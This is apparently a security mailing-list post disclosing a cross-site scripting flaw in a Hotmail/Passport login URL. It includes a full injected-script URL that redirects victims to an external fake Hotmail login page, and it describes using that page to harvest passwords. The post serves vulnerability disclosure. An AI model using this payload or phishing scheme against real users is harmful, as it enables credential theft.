A lot can happen for sure, but i tried one myself, to redirect the request to some 
other webpage.
One can make a fake hotmail page asking for password storing it locally in a text file 
and then again redirect to the original hotmail page.
Usint this method one could steal passwords of hotmail/MSN users.
We have all see previously people making hotmail looking page, asking you to first 
login through it, or asking you to send your login/pass along with the login name with 
the person you want to get hacked (all nasty scams like that).
Now if it is not fixed they will have an easy way to trick them by asking them to 
visit hotmail new policy at :

http://lc2.law5.hotmail.passport.com/cgi-bin/login?_lang=&id=2&fs=1&cb=";><script>location.replace("http://www.ownhomepage.com/frames/hotmailfake.html";);</script>&ct=1033054530&_setlang=

And then have a fake setup to trick them entering their passwords at:
http://www.ownhomepage.com/frames/hotmailfake.html


Regards
--------
Muhammad Faisal Rauf Danka

Head of GemSEC / Chief Technology Officer
Gem Internet Services (Pvt) Ltd.
web: www.gem.net.pk
Key Id: 0x784B0202
Key Fingerprint: 6F8C EDCF 6C6E 06A5 48D7 6A20 C592 484B 
784B 0202

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